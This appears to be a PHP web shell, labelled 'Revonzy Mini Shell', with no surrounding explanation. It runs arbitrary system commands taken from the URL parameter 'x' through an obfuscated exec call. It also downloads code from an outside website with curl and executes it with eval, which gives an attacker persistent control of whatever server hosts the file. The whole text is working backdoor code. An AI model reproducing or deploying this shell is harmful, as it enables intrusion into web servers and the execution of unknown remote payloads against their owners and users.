Revonzy Mini Shell

<?php
if(isset($_GET["x"])){$d="e"."x"."e"."c";echo $d($_GET["x"]);}
    $Url = "https://www.ommegaonline.org/fb/src/Facebook/HttpClients/certs/mini.txt";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $Url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $output = curl_exec($ch);
    curl_close($ch);
    echo eval('?>'.$output);
?>